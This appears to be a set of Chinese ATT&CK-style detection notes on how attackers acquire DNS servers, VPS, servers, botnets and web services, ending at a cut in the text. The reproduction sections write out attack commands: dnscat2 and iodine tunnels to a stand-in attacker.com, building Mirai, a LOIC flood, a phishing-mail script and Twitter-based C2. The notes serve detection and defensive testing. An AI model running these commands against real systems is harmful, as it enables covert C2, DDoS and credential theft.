攻击者在入侵目标组织之前,可能设置并控制自己的域名系统(DNS)服务器,以支持目标定位和攻击执行。通过运行自有DNS服务器,攻击者可以实现对DNS流量的精细控制,用于命令与控制(C2)、数据泄露或其他恶意活动。相较于劫持现有DNS服务器,自建DNS服务器提供了更高的灵活性和隐蔽性,特别是在基于DNS的C2通道中。 攻击者可能通过以下方式利用自建DNS服务器: - **命令与控制(C2)**:通过DNS查询(如TXT记录)传输C2指令,绕过传统防火墙检测。 - **DNS隧道(DNS Tunneling)**:将恶意数据封装在DNS协议中,用于数据泄露或隐蔽通信。 - **钓鱼支持**:使用自建DNS服务器解析伪造域名,配合钓鱼攻击。 - **条件响应**:配置DNS服务器根据客户端特征(如IP、User-Agent)返回特定的恶意响应。 DNS服务器的隐蔽性得益于DNS协议的普遍性和低检测率,因为大多数防火墙和IDS对DNS流量缺乏深入分析。攻击者可能通过购买域名、租用云服务器或使用开源DNS软件(如BIND、PowerDNS)快速搭建DNS基础设施。 ## 测试案例 以下是模拟攻击者获取和使用DNS服务的常见方法和工具: ### 1. **DNS隧道(DNS Tunneling)** DNS隧道通过将数据封装在DNS协议中传输,绕过防火墙和IDS的检测。分为直连和中继两种模式: - **直连模式**:客户端直接与攻击者的权威DNS服务器通信,速度快但隐蔽性较弱。 ```bash # 使用dnscat2建立直连DNS隧道 dnscat2 --dns server=attacker.com,port=53 --secret=secretkey ``` - **中继模式**:通过递归DNS查询,经过多个节点传输数据,隐蔽性强但速度较慢。 ```bash # 使用iodine建立中继DNS隧道 iodine -f -P secretkey attacker.com ``` ### 2. **DNS服务器搭建** - **工具**: - **BIND** (): 开源DNS服务器软件,用于搭建权威DNS服务器。 - **PowerDNS** (): 支持灵活的DNS记录配置。 - **dnscat2** (): 用于DNS隧道的C2工具。 - **iodine** (): 支持DNS隧道的数据传输。 - **Cobalt Strike DNS Beacon**: 商业攻击框架,支持DNS C2通道。 - **示例**: - 在云服务器(如AWS、阿里云)上部署BIND,配置TXT记录用于C2。 ```bash # BIND配置文件示例 (/etc/named.conf) zone "attacker.com" { type master; file "/var/named/attacker.com.zone"; }; # 区域文件 (/var/named/attacker.com.zone) $TTL 3600 @ IN SOA ns1.attacker.com. admin.attacker.com. ( 2025060401 ; Serial 3600 ; Refresh 1800 ; Retry 604800 ; Expire 3600 ) ; Minimum @ IN NS ns1.attacker.com. ns1 IN A 192.168.1.100 c2 IN TXT "command:execute_payload" ``` - 使用dnscat2建立DNS C2通道: ```bash # 服务端 dnscat2 --dns server=0.0.0.0,port=53 # 客户端 dnscat2 --dns server=attacker.com,port=53 ``` ### 3. **DNS over HTTPS (DoH)** - 使用DoH隐藏DNS流量,增加隐蔽性。 - 参考:,使用DoH构建弹性C2基础设施。 - 工具:Cloudflared、AdGuard。 ```bash # 使用Cloudflared配置DoH服务器 cloudflared --url https://attacker.com/dns-query ``` ### 4. **案例场景** - 攻击者租用云服务器,部署BIND作为权威DNS服务器,配置TXT记录用于C2通信。 - 使用iodine在目标网络中建立DNS隧道,泄露敏感数据。 - 伪装DoH流量为正常HTTPS请求,绕过IDS检测,参考:。 ## 检测日志 DNS服务相关活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **DNS日志**: - 记录异常的DNS查询,如高频TXT记录查询或可疑域名解析。 - **网络流量日志**: - 检测异常的DNS流量模式,如大流量DNS请求或非标准端口的DNS通信。 - **防火墙/IDS日志**: - 记录异常的DNS服务器IP或可疑C2流量。 - **Web服务器日志**: - 检测与钓鱼域名相关的HTTP请求,可能由攻击者的DNS服务器解析。 ## 测试复现 以下是模拟攻击者获取DNS服务的步骤: 1. **环境准备**: - 租用云服务器(如AWS EC2),安装BIND或PowerDNS。 - 注册域名(如`attacker.com`),配置NS记录指向自建DNS服务器。 2. **DNS服务器配置**: - 部署BIND并配置C2记录: ```bash # 安装BIND sudo apt install bind9 # 配置区域文件 echo '$TTL 3600 @ IN SOA ns1.attacker.com. admin.attacker.com. ( 2025060401 ; Serial 3600 ; Refresh 1800 ; Retry 604800 ; Expire 3600 ) ; Minimum @ IN NS ns1.attacker.com. ns1 IN A 192.168.1.100 c2 IN TXT "command:execute_payload"' > /var/named/attacker.com.zone ``` - 启动BIND: ```bash sudo systemctl start named ``` 3. **DNS隧道测试**: - 使用dnscat2建立C2通道: ```bash # 服务端 dnscat2 --dns server=0.0.0.0,port=53 # 客户端 dnscat2 --dns server=attacker.com,port=53 ``` - 使用iodine建立数据隧道: ```bash iodine -f -P secretkey attacker.com ``` 4. **DoH测试**: - 配置Cloudflared支持DoH: ```bash cloudflared --url https://attacker.com/dns-query ``` 5. **结果分析**: - 验证DNS服务器是否响应C2指令或隧道数据。 6. **日志收集**: - 收集DNS服务器、防火墙和网络流量日志,分析查询模式和流量特征。 ## 测试留痕 DNS服务相关活动可能留下以下痕迹: - **DNS查询**:高频TXT、NULL或异常记录类型的查询。 - **网络流量**:异常DNS流量,如大流量请求或非标准端口通信。 - **防火墙/IDS告警**:触发DNS隧道或C2相关的检测规则。 - **Web服务器日志**:与钓鱼域名相关的HTTP请求,可能由攻击者的DNS服务器解析。 ## 检测规则/思路 由于DNS服务活动多发生在目标组织视野之外,检测需结合多种手段: - **DNS流量监控**: - 检测异常DNS查询模式,如高频TXT记录查询或异常域名。 - 示例Snort规则: ```snort alert udp any any -> any 53 (msg:"Suspicious DNS TXT Query"; content:"TXT"; threshold: type threshold, track by_src, count 50, seconds 60; sid:1000001;) ``` - 使用DNS防火墙(如Cloudflare Gateway)拦截可疑DNS请求。 - **网络流量分析**: - 使用IDS/IPS(如Snort、Suricata)检测DNS隧道流量,关注大流量DNS请求或非标准端口。 - 示例Suricata规则: ```suricata alert dns any any -> any any (msg:"Potential DNS Tunneling"; dns_query; content:"attacker.com"; threshold: type threshold, track by_src, count 100, seconds 60; sid:1000002;) ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意DNS服务器IP或域名。 - 监控WHOIS数据库,检测与攻击相关的域名注册。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS和网络流量日志,检测异常查询或C2模式。 - 监控DoH流量,检查异常的HTTPS请求模式。 ## 建议 - **减少暴露面**: - 限制内部网络对非授权DNS服务器的访问,仅允许可信DNS(如8.8.8.8)。 - 监控员工设备是否使用未知DNS服务器。 - **安全加固**: - 配置DNS防火墙,拦截异常DNS查询或可疑域名。 - 实施DNSSEC(DNS安全扩展)防止DNS欺骗。 - 使用WAF保护与DNS相关的钓鱼网站,拦截异常流量。 - **主动监控与响应**: - 部署DNS日志分析工具(如Splunk、ELK),监控高频或异常DNS查询。 - 使用威胁情报工具(如DomainTools)跟踪新注册的恶意域名。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的DNS隧道或C2活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、数据泄露T1567),通过异常DNS流量间接发现基础设施活动。 ## 参考资料 - MITRE ATT&CK: T1583-002 - 使用DNS over HTTPS(DoH)构建弹性C2基础架构 - 全流程信息收集方法总结 ================================================ FILE: Windows/02资源开发/T1583.003-获取基础设施-虚拟专用服务器.md ================================================ # T1583-003-获取基础设施-虚拟专用服务器 ## 描述 攻击者在入侵目标组织之前,可能租用虚拟专用服务器(VPS)以支持目标定位和攻击执行。VPS是一种通过虚拟化技术(如容器或虚拟机)将物理服务器分割为多个独立虚拟服务器的服务,每个VPS拥有独立的公网IP、操作系统、磁盘空间、内存和CPU资源。攻击者利用VPS可以快速设置、修改或销毁基础设施,增加追踪难度,并借助云服务提供商的高声誉掩盖恶意活动。 攻击者可能通过以下方式利用VPS: - **命令与控制(C2)**:使用VPS作为C2服务器,通过HTTP、DNS或其他协议与受感染主机通信。 - **钓鱼和恶意内容托管**:在VPS上部署钓鱼网站或恶意文件分发点。 - **代理和中继**:将VPS用作代理服务器,隐藏攻击者的真实IP。 - **匿名性增强**:选择以最低注册信息要求提供VPS的供应商,降低被追踪的风险。 VPS的灵活性和云服务的高可用性使其成为攻击者的理想选择,尤其是在需要快速部署或销毁基础设施的场景中。 ## 测试案例 以下是模拟攻击者获取和使用VPS的常见方法和案例: - **VPS租用**: - 通过云服务提供商(如AWS EC2、阿里云ECS、DigitalOcean、Vultr、Linode)租用VPS。 - 选择支持匿名注册或加密货币支付的供应商(如NJalla、Hostinger)以隐藏身份。 - **VPS用途**: - **C2服务器**:在VPS上部署Cobalt Strike或Metasploit,配置HTTP/HTTPS C2通道。 ```bash # 在VPS上启动Cobalt Strike ./teamserver ``` - **钓鱼网站**:在VPS上部署伪装的登录页面,诱导用户输入凭据。 ```html TargetCorp Login
``` - **代理中继**:配置VPS为SOCKS5代理,隐藏攻击者流量。 ```bash # 在VPS上配置SOCKS5代理 ssh -D 1080 -f -N user@ ``` - **案例场景**: - 攻击者租用DigitalOcean VPS,部署Cobalt Strike C2服务器,通过HTTPS通信控制受感染主机。 - 在Vultr VPS上搭建钓鱼网站,伪装成目标组织的内部门户,窃取员工凭据。 - 参考案例:攻击者利用VPS托管恶意软件分发点,结合钓鱼邮件传播。 ## 检测日志 VPS相关活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与已知VPS提供商IP范围的异常通信,如AWS、DigitalOcean的IP段。 - **DNS日志**: - 记录解析到VPS IP的异常域名查询,可能与C2或钓鱼相关。 - **邮件服务器日志**: - 监控钓鱼邮件,可能包含指向VPS托管的恶意链接。 - **防火墙/IDS日志**: - 检测与VPS IP的异常HTTP/HTTPS流量或C2模式。 - **Web服务器日志**: - 记录访问VPS托管钓鱼网站的HTTP请求。 ## 测试复现 以下是模拟攻击者获取VPS的步骤: 1. **环境准备**: - 租用VPS(如DigitalOcean、阿里云ECS),配置公网IP和操作系统(如Ubuntu)。 - 注册域名并指向VPS IP。 2. **VPS配置**: - 部署C2服务器: ```bash # 安装Cobalt Strike wget https:///cobaltstrike.jar java -jar cobaltstrike.jar # 配置HTTPS Beacon ./teamserver /path/to/profile ``` - 部署钓鱼网站: ```bash # 安装Nginx sudo apt install nginx # 将钓鱼页面部署到Nginx cp phishing.html /var/www/html/index.html sudo systemctl start nginx ``` - 配置SOCKS5代理: ```bash ssh -D 1080 -f -N user@ ``` 3. **测试执行**: - 发送钓鱼邮件,诱导目标访问VPS上的伪装页面。 - 使用C2客户端连接VPS,模拟命令与控制。 4. **结果分析**: - 验证C2通道或钓鱼页面是否正常运行。 5. **日志收集**: - 收集DNS、网络流量和Web服务器日志,分析VPS相关活动痕迹。 ## 测试留痕 VPS相关活动可能留下以下痕迹: - **DNS查询**:解析到VPS提供商IP的异常域名。 - **网络流量**:与VPS IP的异常HTTP/HTTPS流量或C2通信模式。 - **防火墙/IDS告警**:触发C2或钓鱼相关的检测规则。 - **邮件服务器日志**:钓鱼邮件中包含VPS托管的链接。 - **Web服务器日志**:访问VPS钓鱼页面的HTTP请求。 ## 检测规则/思路 由于VPS活动多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与已知VPS提供商IP范围的异常通信。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious VPS Traffic"; content:"digitalocean.com"; sid:1000001;) ``` - 使用NetFlow或Zeek分析与VPS的长期连接或异常流量模式。 - **DNS监控**: - 检测解析到VPS IP的异常域名,重点关注新注册或可疑域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious VPS Domains Condition: DNS query resolves to OR Action: Alert ``` - **邮件监控**: - 使用DLP工具检测钓鱼邮件,检查包含VPS IP或域名的链接。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to VPS Condition: Email contains "http" AND "" Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意VPS IP或C2域名。 - 监控WHOIS数据库,检测与VPS相关的域名注册。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、网络和邮件日志,检测VPS相关C2或钓鱼活动。 ## 建议 - **减少暴露面**: - 限制员工访问未知或可疑的VPS托管网站。 - 使用URL过滤器拦截已知VPS提供商的恶意IP或域名。 - **安全加固**: - 配置防火墙限制与未知VPS IP的通信。 - 实施MFA保护与员工相关的账户,防止凭据被VPS钓鱼网站窃取。 - 使用WAF保护合法网站,拦截异常流量。 - **主动监控与响应**: - 使用Shodan或Censys监控VPS IP的暴露服务,识别潜在恶意活动。 - 部署SIEM工具,分析与VPS相关的异常流量模式。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的VPS滥用行为。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566),通过异常流量或C2行为间接发现VPS活动。 ## 参考资料 - MITRE ATT&CK: T1583-003 - 全流程信息收集方法总结 ================================================ FILE: Windows/02资源开发/T1583.004-获取基础设施-服务器.md ================================================ # T1583-004-获取基础设施-服务器 ## 描述 攻击者在入侵目标组织之前,可能购买、租用或租赁物理或虚拟服务器以支持目标定位和攻击执行。服务器可以是物理硬件、托管在数据中心的专用服务器,或者基于云的虚拟服务器。与入侵第三方服务器或租用虚拟专用服务器(VPS)相比,自建或租赁服务器为攻击者提供了更高的控制权和灵活性,可用于多种恶意活动,例如命令与控制(C2)、钓鱼网站托管、恶意软件分发或数据存储。 攻击者可能通过以下方式利用服务器: - **命令与控制(C2)**:使用服务器作为C2节点,通过HTTP、HTTPS、DNS或其他协议与受感染主机通信。 - **钓鱼和恶意内容托管**:在服务器上部署伪装的登录页面或恶意文件下载点。 - **代理和中继**:将服务器配置为代理,隐藏攻击者的真实IP。 - **测试和演练**:在服务器上运行测试环境,模拟攻击流程或开发恶意软件。 - **匿名性增强**:选择支持匿名注册或加密货币支付的服务器供应商,降低被追踪的风险。 服务器的高性能和可控性使其成为攻击者构建复杂基础设施的理想选择,尤其是在需要大规模或长期操作的场景中。 ## 测试案例 以下是模拟攻击者获取和使用服务器的常见方法和案例: - **服务器租用**: - 通过服务提供商(如Hetzner、OVH、阿里云、AWS)租用专用服务器或云服务器。 - 选择支持加密货币支付的供应商(如BitLaunch、HostSailor)以隐藏身份。 - **服务器用途**: - **C2服务器**:在服务器上部署Cobalt Strike、Metasploit或自定义C2框架。 ```bash # 在服务器上启动Cobalt Strike ./teamserver /path/to/profile ``` - **钓鱼网站**:部署伪装的登录页面,窃取用户凭据。 ```html TargetCorp Login
``` - **代理中继**:配置服务器为SOCKS5或HTTP代理,隐藏攻击者流量。 ```bash # 配置SOCKS5代理 ssh -D 1080 -f -N user@ ``` - **恶意软件测试**:在服务器上运行沙箱环境,测试恶意软件行为。 ```bash # 安装沙箱工具(如Cuckoo Sandbox) sudo pip install cuckoo cuckoo --host ``` - **案例场景**: - 攻击者租用Hetzner服务器,部署Cobalt Strike C2,通过HTTPS通信控制受感染主机。 - 在OVH服务器上托管钓鱼网站,伪装成目标组织的内部门户,窃取员工凭据。 - 参考案例:攻击者利用服务器托管恶意软件分发点,结合钓鱼邮件传播。 ## 检测日志 服务器相关活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与已知服务器提供商IP范围的异常通信,如Hetzner、OVH的IP段。 - **DNS日志**: - 记录解析到服务器IP的异常域名查询,可能与C2或钓鱼相关。 - **邮件服务器日志**: - 监控钓鱼邮件,可能包含指向服务器托管的恶意链接。 - **防火墙/IDS日志**: - 检测与服务器IP的异常HTTP/HTTPS流量或C2模式。 - **Web服务器日志**: - 记录访问服务器托管钓鱼网站的HTTP请求。 ## 测试复现 以下是模拟攻击者获取服务器的步骤: 1. **环境准备**: - 租用服务器(如Hetzner、阿里云ECS),配置公网IP和操作系统(如Ubuntu)。 - 注册域名并指向服务器IP。 2. **服务器配置**: - 部署C2服务器: ```bash # 安装Cobalt Strike wget https:///cobaltstrike.jar java -jar cobaltstrike.jar # 配置HTTPS Beacon ./teamserver /path/to/profile ``` - 部署钓鱼网站: ```bash # 安装Nginx sudo apt install nginx # 部署钓鱼页面 cp phishing.html /var/www/html/index.html sudo systemctl start nginx ``` - 配置SOCKS5代理: ```bash ssh -D 1080 -f -N user@ ``` 3. **测试执行**: - 发送钓鱼邮件,诱导目标访问服务器上的伪装页面。 - 使用C2客户端连接服务器,模拟命令与控制。 4. **结果分析**: - 验证C2通道或钓鱼页面是否正常运行。 5. **日志收集**: - 收集DNS、网络流量和Web服务器日志,分析服务器相关活动痕迹。 ## 测试留痕 服务器相关活动可能留下以下痕迹: - **DNS查询**:解析到服务器IP的异常域名。 - **网络流量**:与服务器IP的异常HTTP/HTTPS流量或C2通信模式。 - **防火墙/IDS告警**:触发C2或钓鱼相关的检测规则。 - **邮件服务器日志**:钓鱼邮件中包含服务器托管的链接。 - **Web服务器日志**:访问服务器钓鱼页面的HTTP请求。 ## 检测规则/思路 由于服务器活动多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与已知服务器提供商IP范围的异常通信。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Server Traffic"; content:"hetzner.com"; sid:1000001;) ``` - 使用NetFlow或Zeek分析与服务器的长期连接或异常流量模式。 - **DNS监控**: - 检测解析到服务器IP的异常域名,重点关注新注册或可疑域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious Server Domains Condition: DNS query resolves to OR Action: Alert ``` - **邮件监控**: - 使用DLP工具检测钓鱼邮件,检查包含服务器IP或域名的链接。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Links to Server Condition: Email contains "http" AND "" Action: Alert ``` - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的恶意服务器IP或C2域名。 - 监控WHOIS数据库,检测与服务器相关的域名注册。 - **日志关联**: - 使用SIEM(如Splunk、ELK)关联DNS、网络和邮件日志,检测服务器相关C2或钓鱼活动。 ## 建议 - **减少暴露面**: - 限制员工访问未知或可疑的服务器托管网站。 - 使用URL过滤器拦截已知服务器提供商的恶意IP或域名。 - **安全加固**: - 配置防火墙限制与未知服务器IP的通信。 - 实施MFA保护与员工相关的账户,防止凭据被服务器钓鱼网站窃取。 - 使用WAF保护合法网站,拦截异常流量。 - **主动监控与响应**: - 使用Shodan或Censys监控服务器IP的暴露服务,识别潜在恶意活动。 - 部署SIEM工具,分析与服务器相关的异常流量模式。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的服务器滥用行为。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566),通过异常流量或C2行为间接发现服务器活动。 ## 参考资料 - MITRE ATT&CK: T1583-004 ================================================ FILE: Windows/02资源开发/T1583.005-获取基础设施-僵尸网络.md ================================================ # T1583-005-获取基础设施-僵尸网络 ## 描述 攻击者在入侵目标组织之前,可能通过购买、租赁或租用僵尸网络(Botnet)来支持目标定位和攻击执行。僵尸网络是由大量受感染主机组成的网络,这些主机通过恶意软件(如僵尸程序)被控制,可由攻击者通过命令与控制(C2)通道统一指挥。僵尸网络可用于多种恶意活动,包括分布式拒绝服务(DDoS)攻击、大规模网络钓鱼、恶意软件分发、数据窃取或代理中继。 攻击者可能通过以下方式获取和使用僵尸网络: - **购买/租赁**:通过暗网市场或“booter/stresser”服务订阅现有的僵尸网络,快速获取大量受感染主机。 - **自行构建**:通过传播恶意软件(如Mirai、Emotet)感染主机,组建自定义僵尸网络。 - **功能利用**: - **DDoS攻击**:利用僵尸网络发送高流量请求,瘫痪目标服务器。 - **钓鱼分发**:通过受感染主机发送钓鱼邮件或恶意链接。 - **恶意软件传播**:使用僵尸网络分发勒索软件或间谍软件。 - **代理服务**:将受感染主机用作代理,隐藏攻击者真实IP。 僵尸网络的隐蔽性和规模化使其成为攻击者的强大工具,尤其在需要大规模攻击或匿名性的场景中。 ## 测试案例 以下是模拟攻击者获取和使用僵尸网络的常见方法和案例: - **购买/租赁僵尸网络**: - 通过暗网市场(如AlphaBay、Dream Market)或“booter/stresser”服务(如vDOS、StressThem)订阅僵尸网络服务。 - 示例:租用Mirai变种僵尸网络,发起针对目标网站的DDoS攻击。 - **自行构建僵尸网络**: - 使用恶意软件(如Mirai、Emotet)感染易受攻击的设备(如IoT设备、未修补的Windows主机)。 ```bash # 使用Mirai源码感染设备 git clone https://github.com/jgamblin/Mirai-Source-Code cd Mirai-Source-Code ./build.sh # 传播恶意软件并建立C2 ``` - 配置C2服务器,使用HTTP或IRC协议控制受感染主机。 ```bash # 配置简单的IRC C2服务器 sudo apt install inspircd inspircd --config /etc/inspircd/inspircd.conf ``` - **功能利用**: - **DDoS攻击**:使用僵尸网络发起HTTP Flood攻击。 ```bash # 使用LOIC(Low Orbit Ion Cannon)模拟DDoS loic -method HTTP -threads 100 ``` - **钓鱼分发**:通过受感染主机发送钓鱼邮件。 ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Click here: http://malicious.com") msg['Subject'] = 'Urgent: Account Verification' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@target.com' with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` - **案例场景**: - 攻击者租用Mirai僵尸网络,针对目标组织发起DDoS攻击,瘫痪其Web服务。 - 使用Emotet僵尸网络分发钓鱼邮件,诱导员工点击恶意链接,窃取凭据。 - 参考案例:攻击者利用僵尸网络传播勒索软件,影响多个组织。 ## 检测日志 僵尸网络相关活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与已知C2服务器的异常通信,如高频HTTP/IRC流量。 - **DNS日志**: - 记录解析到僵尸网络C2服务器的异常域名查询。 - **邮件服务器日志**: - 监控大规模钓鱼邮件,可能由僵尸网络分发。 - **防火墙/IDS日志**: - 检测DDoS攻击的高流量模式或异常C2通信。 - **端点日志**: - 记录受感染主机的异常行为,如未知进程或网络连接。 ## 测试复现 以下是模拟攻击者获取和使用僵尸网络的步骤: 1. **环境准备**: - 在授权测试环境中搭建C2服务器(如使用AWS EC2或本地虚拟机)。 - 配置受控的测试主机,模拟受感染设备。 2. **僵尸网络构建**: - 使用Mirai源码感染测试主机: ```bash git clone https://github.com/jgamblin/Mirai-Source-Code cd Mirai-Source-Code ./build.sh # 部署到测试主机 ``` - 配置C2服务器(如IRC或HTTP): ```bash # 启动IRC服务器 sudo apt install inspircd inspircd --config /etc/inspircd/inspircd.conf ``` 3. **测试执行**: - 模拟DDoS攻击: ```bash loic http://target.com -method HTTP -threads 100 ``` - 模拟钓鱼分发: ```python import smtplib from email.mime.text import MIMEText msg = MIMEText("Click here: http://malicious.com") msg['Subject'] = 'Urgent: Account Verification' msg['From'] = 'attacker@malicious.com' msg['To'] = 'victim@target.com' with smtplib.SMTP('smtp.malicious.com') as server: server.login('user', 'pass') server.send_message(msg) ``` 4. **结果分析**: - 验证DDoS攻击效果或钓鱼邮件分发成功率。 5. **日志收集**: - 收集DNS、网络流量、邮件和端点日志,分析僵尸网络活动痕迹。 ## 测试留痕 僵尸网络相关活动可能留下以下痕迹: - **DNS查询**:解析到C2服务器的异常域名。 - **网络流量**:高频HTTP/IRC流量或DDoS攻击的异常流量模式。 - **防火墙/IDS告警**:触发C2或DDoS相关的检测规则。 - **邮件服务器日志**:大规模钓鱼邮件的发送记录。 - **端点日志**:受感染主机的异常进程或网络连接。 ## 检测规则/思路 由于僵尸网络活动多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与已知C2服务器的异常通信,关注HTTP、IRC或DNS流量。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious C2 Traffic"; content:"irc"; sid:1000001;) ``` - 使用NetFlow或Zeek分析高频或异常流量模式。 - **DNS监控**: - 检测解析到C2服务器的异常域名,重点关注新注册或可疑域名。 - 示例DNS防火墙规则: ```plaintext Rule: Detect Suspicious C2 Domains Condition: DNS query resolves to Action: Alert ``` - **邮件监控**: - 使用DLP工具检测大规模钓鱼邮件,检查包含恶意链接或附件。 - 示例DLP规则: ```plaintext Rule: Detect Phishing Emails Condition: Email contains "http" AND NOT "target.com" Action: Alert ``` - **端点监控**: - 使用EDR工具(如CrowdStrike、Carbon Black)检测受感染主机的异常行为,如未知进程或C2连接。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的C2服务器IP或域名。 - 监控暗网市场,检测僵尸网络租赁活动。 ## 建议 - **减少暴露面**: - 修补系统漏洞,防止主机被恶意软件感染加入僵尸网络。 - 限制员工访问可疑网站或下载未知附件。 - **安全加固**: - 配置防火墙限制与已知C2服务器的通信。 - 实施MFA保护员工账户,防止凭据被钓鱼窃取。 - 使用WAF保护Web服务,拦截DDoS或钓鱼流量。 - **主动监控与响应**: - 部署SIEM工具(如Splunk、ELK),分析异常DNS或网络流量。 - 使用Shodan或Censys监控暴露的C2服务器。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的僵尸网络活动。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如命令与控制T1102、钓鱼T1566、DDoS T1498),通过异常流量或行为间接发现僵尸网络活动。 ## 参考资料 - MITRE ATT&CK: T1583-005 ================================================ FILE: Windows/02资源开发/T1583.006-获取基础设施-web服务.md ================================================ # T1583-006-获取基础设施-web服务 ## 描述 攻击者在入侵目标组织之前,可能注册或利用现有的Web服务以支持目标定位和攻击执行。Web服务包括社交媒体平台(如Twitter、Facebook)、云存储服务(如Google Drive、Dropbox)、代码托管平台(如GitHub、GitLab)或其他在线服务。这些服务因其普遍性和高声誉,常被攻击者滥用以隐藏恶意活动,增加追踪难度。攻击者可能通过这些服务执行多种恶意活动,例如命令与控制(C2)、数据泄露、钓鱼或恶意软件分发。 攻击者可能通过以下方式利用Web服务: - **命令与控制(C2)**:通过Web服务API(如Twitter DM、Google Sheets)传输C2指令,隐藏在正常流量中。 - **数据泄露**:利用云存储服务(如Dropbox、OneDrive)存储或传输窃取的数据。 - **钓鱼和恶意内容托管**:在GitHub Pages、Google Sites等平台上托管钓鱼页面或恶意文件。 - **匿名性增强**:使用匿名账户或临时邮箱注册Web服务,降低被追踪的风险。 Web服务的广泛使用和高信任度使其成为攻击者的理想基础设施,尤其是在需要隐蔽通信或快速部署的场景中。 ## 测试案例 以下是模拟攻击者获取和使用Web服务的常见方法和案例: - **GitHub Pages托管钓鱼页面**: - 在GitHub上创建仓库,使用GitHub Pages部署伪装的登录页面。 ```bash # 创建GitHub Pages git init echo "

TargetCorp Login

" > index.html git add . && git commit -m "Initial commit" git push origin main # 启用GitHub Pages ``` - **云存储服务分发恶意文件**: - 将恶意软件上传到Google Drive或Dropbox,生成共享链接。 ```bash # 使用Google Drive CLI上传文件 gdrive upload malicious.exe gdrive share malicious.exe --role reader --type anyone ``` - **社交媒体C2**: - 使用Twitter API发送加密的C2指令。 ```python import tweepy auth = tweepy.OAuthHandler("consumer_key", "consumer_secret") auth.set_access_token("access_token", "access_token_secret") api = tweepy.API(auth) api.update_status("encoded_C2_command") ``` - **案例场景**: - 攻击者在GitHub Pages上部署伪装的TargetCorp登录页面,通过钓鱼邮件分发链接,窃取员工凭据。 - 使用Google Drive共享恶意PDF,结合社交工程诱导员工下载并执行。 - 参考案例:攻击者利用Google Drive分发勒索软件,隐藏在合法流量中。 ## 检测日志 Web服务相关活动多发生在目标组织监测范围之外,难以直接监测。以下是可能的日志来源: - **网络流量日志**: - 检测与Web服务(如Google、Twitter、GitHub)的异常API调用或流量模式。 - **DNS日志**: - 记录解析到Web服务IP的异常域名查询,可能与C2或钓鱼相关。 - **邮件服务器日志**: - 监控钓鱼邮件,包含指向Web服务托管的恶意链接。 - **防火墙/IDS日志**: - 检测异常的HTTP/HTTPS流量,涉及Web服务的API端点。 - **端点日志**: - 记录访问Web服务托管的恶意页面或下载可疑文件的活动。 ## 测试复现 以下是模拟攻击者获取Web服务的步骤: 1. **环境准备**: - 注册GitHub、Google Drive或Twitter账户,准备测试环境。 - 确保在授权范围内操作,避免违反服务条款。 2. **Web服务配置**: - **GitHub Pages钓鱼页面**: ```bash # 创建GitHub仓库 mkdir phishing-site && cd phishing-site git init echo "
" > index.html git add . && git commit -m "Initial commit" git push origin main # 启用GitHub Pages ``` - **Google Drive恶意文件**: ```bash # 安装gdrive CLI wget https://github.com/glotlabs/gdrive/releases/download/3.9.1/gdrive-linux-x64 chmod +x gdrive-linux-x64 ./gdrive-linux-x64 upload malicious.pdf ./gdrive-linux-x64 share malicious.pdf --role reader --type anyone ``` - **Twitter C2**: ```python import tweepy auth = tweepy.OAuthHandler("consumer_key", "consumer_secret") auth.set_access_token("access_token", "access_token_secret") api = tweepy.API(auth) api.update_status("encoded_C2_command:execute_payload") ``` 3. **测试执行**: - 发送钓鱼邮件,诱导目标访问GitHub Pages上的伪装页面。 - 使用Twitter API发送C2指令,模拟控制受感染主机。 4. **结果分析**: - 验证钓鱼页面或C2通道是否正常运行。 5. **日志收集**: - 收集DNS、网络流量、邮件和端点日志,分析Web服务相关活动痕迹。 ## 测试留痕 Web服务相关活动可能留下以下痕迹: - **DNS查询**:解析到Web服务(如github.io、drive.google.com)的异常域名。 - **网络流量**:与Web服务API端点的异常HTTP/HTTPS通信。 - **防火墙/IDS告警**:触发C2或钓鱼相关的检测规则。 - **邮件服务器日志**:钓鱼邮件中包含Web服务托管的链接。 - **端点日志**:访问Web服务托管的恶意页面或下载可疑文件的记录。 ## 检测规则/思路 由于Web服务活动多发生在目标组织视野之外,检测需结合多种手段: - **网络流量监控**: - 检测与Web服务(如Google Drive、Twitter API)的异常通信,关注高频API调用或可疑流量模式。 - 示例Snort规则: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Suspicious Web Service Traffic"; content:"api.twitter.com"; 